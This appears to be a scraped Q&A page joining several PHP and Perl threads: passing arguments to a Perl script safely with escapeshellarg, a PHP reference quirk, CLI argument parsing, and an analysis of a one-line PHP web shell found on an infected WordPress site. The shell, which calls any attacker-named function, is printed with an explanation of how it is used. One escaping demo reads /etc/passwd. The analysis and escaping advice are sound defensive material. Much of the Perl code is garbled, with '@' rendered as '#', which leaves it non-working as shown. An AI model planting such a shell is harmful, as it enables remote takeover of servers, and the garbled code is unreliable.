I am trying to pass a string from PHP into a Perl script, uppercase each word, and then pass the uppercase string back to PHP where I echo it out. I know I can do that in PHP, but there are other reasons why I will need to pass the string between PHP and Perl.
If the variable $user_input is "first second third" I want the echo statement in the PHP program to echo "FIRST SECOND THIRD", but right now it is only echoing "FIRST".
How do I get my Perl script to read in and uppercase each word, not just the first one? (The variable user_input is not necessarily fixed at a length of three words, it could be more or fewer.)
Here is the relevant PHP:
$result = shell_exec('/usr/bin/perl /var/www/my_site/myperl.pl ' . $user_input);
$user_input = $result;
echo $user_input;
And this is my Perl program (myperl.pl):
#!/usr/bin/perl
use warnings;
my $var1 = shift;
foreach $var ($var1){
print uc $var ;
}
I've tried changing several things in the Perl code (using #var1 for example) but can't seem to get it to work. Thanks in advance for any help you can provide.
Do not use shell_exec() with unescaped input. This function is really easy to use in an unsafe manner, and can lead to command injection security vulnerabilities. Here, you have run into issues around your lack of escaping. Slightly simplifying things, you are trying to execute the following command:
# shell_exec('/usr/bin/perl /var/www/my_site/myperl.pl ' . $user_input)
/usr/bin/perl /var/www/my_site/myperl.pl first second third
Since the variable contents are just pasted into the command line, it is split at spaces and passed to the command as separate arguments.
The safest approach is to bypass shell expansion and executing the intended program directly. Unfortunately, core PHP does not provide convenient functions for this task.
If you want to continue using the convenient shell_exec() function, you MUST escape the variable before constructing the shell command. For example:
shell_exec('/usr/bin/perl /var/www/my_site/myperl.pl ' . escapeshellarg($user_input))
This would lead to the following shell command being executed (note the single quotes around the argument):
/usr/bin/perl /var/www/my_site/myperl.pl 'first second third'
After that, your Perl code should work as expected.
Arguments passed to a Perl program are available in the builtin global #ARGV array.
The shift function takes an array name as an argument, and removes the first element from that array and returns it. When used without an argument it operates on #ARGV, or if in a subroutine on #_ array which holds arguments passed to the subroutine.
So the code you show takes the first argument passed to the program and works with it.† Then, the shown foreach loop goes over just that one scalar (single-valued) variable.
Instead, you want to extract or copy the whole #ARGV and then to iterate over that array ‡
use warnings;
use strict;
use feature qw(say);
my #args = #ARGV;
foreach my $arg (#args) {
say uc $arg; # with a new line
# print uc $arg; # no newline, all come out "stuck" together
}
Now you can process those (instead of just uc-ing them), what I presume is intended.
If you indeed wanted to merely print out upper-cased input then
say uc for #ARGV; # each on a line on its own
# print uc for #ARGV; # no newline between them
suffices. (The uc takes $_ by default.)
† If the PHP program passes one string to the Perl program, not expanded (broken into) words by a shell or some such, then your Perl code should work as it stands. But the code shown here works in that case as well, and it will always process all arguments.
‡ Or of course one can work with the #ARGV directly
foreach my $arg (#ARGV) { ... }
I copy it in the text to preserve it because normally it is parsed separately by libraries.
Related
It was noted in another question that wrapping the result of a PHP function call in parentheses can somehow convert the result into a fully-fledged expression, such that the following works:
<?php
error_reporting(E_ALL | E_STRICT);
function get_array() {
return array();
}
function foo() {
// return reset(get_array());
// ^ error: "Only variables should be passed by reference"
return reset((get_array()));
// ^ OK
}
foo();
I'm trying to find anything in the documentation to explicitly and unambiguously explain what is happening here. Unlike in C++, I don't know enough about the PHP grammar and its treatment of statements/expressions to derive it myself.
Is there anything hidden in the documentation regarding this behaviour? If not, can somebody else explain it without resorting to supposition?
Update
I first found this EBNF purporting to represent the PHP grammar, and tried to decode my scripts myself, but eventually gave up.
Then, using phc to generate a .dot file of the two foo() variants, I produced AST images for both scripts using the following commands:
$ yum install phc graphviz
$ phc --dump-ast-dot test1.php > test1.dot
$ dot -Tpng test1.dot > test1.png
$ phc --dump-ast-dot test2.php > test2.dot
$ dot -Tpng test2.dot > test2.png
In both cases the result was exactly the same:
This behavior could be classified as bug, so you should definitely not rely on it.
The (simplified) conditions for the message not to be thrown on a function call are as follows (see the definition of the opcode ZEND_SEND_VAR_NO_REF):
the argument is not a function call (or if it is, it returns by reference), and
the argument is either a reference or it has reference count 1 (if it has reference count 1, it's turned into a reference).
Let's analyze these in more detail.
First point is true (not a function call)
Due to the additional parentheses, PHP no longer detects that the argument is a function call.
When parsing a non empty function argument list there are three possibilities for PHP:
An expr_without_variable
A variable
(A & followed by a variable, for the removed call-time pass by reference feature)
When writing just get_array() PHP sees this as a variable.
(get_array()) on the other hand does not qualify as a variable. It is an expr_without_variable.
This ultimately affects the way the code compiles, namely the extended value of the opcode SEND_VAR_NO_REF will no longer include the flag ZEND_ARG_SEND_FUNCTION, which is the way the function call is detected in the opcode implementation.
Second point is true (the reference count is 1)
At several points, the Zend Engine allows non-references with reference count 1 where references are expected. These details should not be exposed to the user, but unfortunately they are here.
In your example you're returning an array that's not referenced from anywhere else. If it were, you would still get the message, i.e. this second point would not be true.
So the following very similar example does not work:
<?php
$a = array();
function get_array() {
return $GLOBALS['a'];
}
return reset((get_array()));
A) To understand what's happening here, one needs to understand PHP's handling of values/variables and references (PDF, 1.2MB). As stated throughout the documentation: "references are not pointers"; and you can only return variables by reference from a function - nothing else.
In my opinion, that means, any function in PHP will return a reference. But some functions (built in PHP) require values/variables as arguments. Now, if you are nesting function-calls, the inner one returns a reference, while the outer one expects a value. This leads to the 'famous' E_STRICT-error "Only variables should be passed by reference".
$fileName = 'example.txt';
$fileExtension = array_pop(explode('.', $fileName));
// will result in Error 2048: Only variables should be passed by reference in…
B) I found a line in the PHP-syntax description linked in the question.
expr_without_variable = "(" expr ")"
In combination with this sentence from the documentation: "In PHP, almost anything you write is an expression. The simplest yet most accurate way to define an expression is 'anything that has a value'.", this leads me to the conclusion that even (5) is an expression in PHP, which evaluates to an integer with the value 5.
(As $a = 5 is not only an assignment but also an expression, which evalutes to 5.)
Conclusion
If you pass a reference to the expression (...), this expression will return a value, which then may be passed as argument to the outer function. If that (my line of thought) is true, the following two lines should work equivalently:
// what I've used over years: (spaces only added for readability)
$fileExtension = array_pop( ( explode('.', $fileName) ) );
// vs
$fileExtension = array_pop( $tmp = explode('.', $fileName) );
See also PHP 5.0.5: Fatal error: Only variables can be passed by reference; 13.09.2005
I extracted this from a wordpress-site, that happened to be infected and gets cleaned up by me.
<?php ($_=#$_GET[page]).#$_($_POST[404]);?>
I suspect this line to be SEO spam, but I am not able to get the meaning of this line.
It's a PHP shell. If you rewrite it to the URL file.php?2=shell_exec&1=whoami executes the command whoami on the shell. In your example, one param is passed by POST, one by GET. So it's a bit harder to call.
You could also call other functions with it. The first parameter is always the function name, the second is a parameter for the called function.
Apparently it's explained on http://h.ackack.net/tiny-php-shell.html (https://twitter.com/dragosr/status/116759108526415872) but the site doesn't load for me.
/edit: If you have access to the server log files, you can search them to see if the hacker used this shell. A simple egrep "(&|\?)2=.+" logs* on the shell should work. You only see half of the executed command (only the GET, not POST), but maybe this helps to see if the attacker actually used his script.
PS: That was answered before here
Let's break this up a little bit:
($_=#$_GET[page]) . #$_($_POST[404]); First, this is two expressions being concatenated with the period: () . ().
In the first expression, $_ = $_GET[page], $_ is a variable, and is being assigned = to the variable $_GET['page'], or perhaps the output of an anonymous function it references. If $_GET[page] does reference an anonymous function, the # would be suppressing any errors from it.
The second expression, # $_( $_POST[404] ); is starting off with error suppression # of the anonymous function $_, which you can tell now is an anonymous function being called because it's followed by (. The argument passed to this function is $_POST['404'], and then the second parentheses just closes the call.
So I think your suspicions are correct; this looks like obfuscated code intended to look innocuous or part of the site. I suspect that the values for $_GET[page] and $_POST[404] are perhaps javascript strings whose echoing on the page would install malware or adware.
You can debug this more by looking at the values of those two variables and seeing what they are.
As best I can tell without knowing the values in GET and POST, it looks like the variable $_ is being assigned to the string $_GET[page], which would be whatever someone submits in the URL when they load the page. So, they are able to pass the string name of any function to the site and have it in PHP's scope.
Then, they are running that arbitrary function on the $_POST['404'] value. That value also is whatever the browser or user POSTs to the page.
The concatenation and outer parenthesis ().() might just be more obfuscation, or the point of this code might be to simply echo the results of this code on the page (to inject javascript) for example. But, it's also possible they are calling whatever function they want on whatever argument they've passed. I can't tell just by looking, but someone more conversant with PHP probably could.
I'm writing a PHP library that will need to reach out to the system and access a command line program that doesn't have a PHP interface (or PHP library). As such, I was wondering what is the best (and the safest way) to access the system to retrieve output from a CLI program? I've taken a look at both system() and exec(), but still not sure which is the best to use in a situation like this.
The library will get a string of user-passed text, and transmit it to the command line, retrieving back another string of text. Obviously, with passing user-provided data to the CLI, I will be doing a verification to ensure that no executable data can be passed.
I would suggest shell_exec() together with escapeshellcmd() and escapeshellarg().
To clarify (I was on the go when I first posted this answer): The right way to secure a shell command is:
$exe = 'cat';
$args = array('/etc/passwd');
$args = array_map('escapeshellarg', $args);
$escaped = escapeshellcmd($exe . ' ' . implode(' ', $args));
Here's a legitimate demo (and a nefarious demo as well) of the above code.
The above is just a dummy example, of course. But the main idea is that you apply escapeshellarg() to each argument and then call escapeshellcmd() on the whole command string (including the path to the executable and the previously escaped arguments). This is critical in arbitrary commands.
Note: By secure, I mean making it impossible to perform shell injection attacks by escaping characters that have special meaning like >, <, &&, | and more (see the Wikipedia link) while at the same time properly quoting spaces and other characters that may also have special interpretations by the shell.
With that aside, if you're already white-listing all the commands allowed, you already have the best possible security and you don't need the above functions (althought it doesn't hurt to use them anyway).
Regarding the actual calling function, they all pretty much do the same thing with a few quirks. Personally, I prefer shell_exec() since its return value is more versatile (from this page):
exec(): returns the last line of output from the command and flushes nothing.
shell_exec(): returns the entire output from the command and flushes nothing.
system(): returns the last line of output from the command and tries to flush the output buffer after each line of the output as it goes.
passthru(): returns nothing and passes the resulting output without interference to the browser, especially useful when the output is in binary format.
Except from the system() exit return code, you can mimic the behavior of all the other functions with the return value of shell_exec(). However, the inverse it's either harder to do, or just not possible.
I hope this clears things up for you.
Ideally, you would use passthru() from a pre-defined list of possible inputs (so that if user input == 'operation_a' you can { passthru('operation_a'); } without worrying about sanitizing input). Otherwise, use passthru() with some serious sanitation of input. passthru() allows you to capture the output of the command and pass the whole lump back to the browser. This function is particularly useful if you are expecting binary output (like from image generation, &c.).
I want to pass parameters from PHP Command Line Interface, and then read in the values using PHP script, something like this:
<?php
$name1 = $argv[1];
echo $name1;
?>
I pass the variable from CLI like this:
C:\xampp\php\php.exe name.php Robby
The above works, I get Robby as the output.
But I want to do something like this:
C:\xampp\php\php.exe name.php -inputFirstName="Robby"
So that the user is well informed to enter the correct parameters in the correct places. What is the appropriate way to parse these parameters?
When calling a PHP script from the command line you can use $argc to find out how many parameters are passed and $argv to access them. For example running the following script:
<?php
var_dump($argc); //number of arguments passed
var_dump($argv); //the arguments passed
?>
Like this:-
php script.php arg1 arg2 arg3
Will give the following output
int(4)
array(4) {
[0]=>
string(21) "d:\Scripts\script.php"
[1]=>
string(4) "arg1"
[2]=>
string(4) "arg2"
[3]=>
string(4) "arg3"
}
See $argv and $argc for further details.
To do what you want, lets say
php script.php arg1=4
You would need to explode the argument on the equals sign:-
list($key, $val) = explode('=', $argv[1]);
var_dump(array($key=>$val));
That way you can have whatever you want in front of the equals sign without having to parse it, just check the key=>value pairs are correct. However, that is all a bit of a waste, just instruct the user on the correct order to pass the arguments.
I use this fairly concise method:
if($argc>1)
parse_str(implode('&',array_slice($argv, 1)), $_GET);
Which would handle a call such as:
php script.php item1=4 item2=300
By sending it into $_GET you automatically handle web or CLI access.
For commentary, this is doing the following:
If the count of arguments is greater than one (as first item is the name of the script) the proceed
Grab the arguments array excluding first item
Turn it into a standard query string format with ampersands
use parse_str to extract to the $_GET array
While the answer is correct and you could do the parsing by hand, PHP also offers the getopt() function that might actually provide useful here.
There's also object-oriented alternatives (written in PHP, available in a number of libraries) that might turn out to be what you need. Googling for "php getopt" will yield helpful results.
you can send parameters as one argument then parse that argument like a $_GET array
C:\xampp\php\php.exe name.php "inputFirstName=Robby&LastName=John"
and in your PHP file
if (!empty($argv[1])) {
parse_str($argv[1], $_GET);
}
you'll get arguments in $_GET array like usual
The getopt() function is probably the most correct answer in the case of the question. Especially since it was made platform independent with PHP 5.3. In the particular case of this question and parsing multiple parameters, one way to leverage this function would be as follows:
$defaultValues = array("inputFirstName" => "");
$givenArguments = getopt("", array("inputFirstName:"));
$options = array_merge($defaultValues, $givenArguments);
$inputFirstName = $options['inputFirstName'];
The call to set $inputFirstName with the value "Robby" would be:
> php script.php --inputFirstName="Robby"
Explanation
Default values for all expected parameters are set in the $defaultValues array. Input sent through via command line arguments are collected by PHP's getopt function and stored by the $givenArguments. Note that the colon (:) at the end of the "inputFirstName:" string indicates that this is a required argument. Without a colon here, only the presence of the argument would be detected, not the actual value (more information in the PHP Manual). Merging these two arrays together on the third line results in array with all expected parameters being set with either default values or arguments provided from the command line/terminal if they are available.
I don't know if at the time this question has being asked what i going to answer to it was available but if you call php-cgi -f myfile.php var=something you can retrieved whit $var=$_GET['var']; from the command line then you don't have to change your code to call it from the web browser or the command line
If you don't mind using a library, I suggest you take a look at The Console Component by Symfony.
It can be used to create command line applications and supports the use of Arguments & Options.
The documentation page contains a couple of excellent examples to get you started.
Of course under the hood it uses the same techniques as explained by vascowhite.
your best hope is to use
exec("php -f php.file.php example=js.json > ech0");
echo file_get_contents("ech0");
unlink("ech0");
That's what I use in PipesJS
You can parse the user input on your program looking for specific strings such as -inputFirstName="x" (using regular expressions, for example) and then set the correct variable to x.
I find myself needing to use Perl more and more since PHP's regular expressions leave me wondering what is going on half the time as they simply don't respond as they should (as they do when I use Perl, for example)... i had been using this method to call perl (before i started trying to do this with regular expressions).. passing in a regex string as a variable causes all sorts of problems, such as using " ( )" anywhere makes it not work, among other things.. I am wondering if there is a better way to do this, than the string of variables after the perl filename method as it seems to have some glaring limiations.. thanks for any info.
the way I do it currently:
$file = "/pathtomy/perlscript.pl $var1 $var2 $var3" ;
ob_start();
passthru($file);
$perlreturn = ob_get_contents();
ob_end_clean();
return $perlreturn;
For the general case, you'll want to use escapeshellarg. Blindly wrapping everything in single quotes works most of the time but will fail when one of your arguments contains a single quote!
string escapeshellarg ( string $arg )
escapeshellarg() adds single quotes around a string and quotes/escapes any existing single quotes allowing you to pass a string directly to a shell function and having it be treated as a single safe argument. This function should be used to escape individual arguments to shell functions coming from user input. The shell functions include exec(), system() and the backtick operator.
Using a simple Perl program that prints its command-line arguments
#! /usr/bin/perl
$" = "]["; # " fix StackOverflow highlighting
print "[#ARGV]\n";
and then a modified version of the PHP program from your question
<?php
$var1 = "I'm a";
$var2 = "good boy,";
$var3 = "I am.";
$file = "./prog.pl " . implode(" ",
array_map("escapeshellarg",
array($var1,$var2,$var3)));
echo "command=", $file, "\n";
ob_start();
passthru($file);
$perlreturn = ob_get_contents();
ob_end_clean();
echo "return=", $perlreturn;
?>
we see the following output:
$ php prog.php
command=./prog.pl 'I'\''m a' 'good boy,' 'I am.'
return=[I'm a][good boy,][I am.]
Try to use quotation marks:
$file = "/pathtomy/perlscript.pl '$var1' '$var2' '$var3'" ;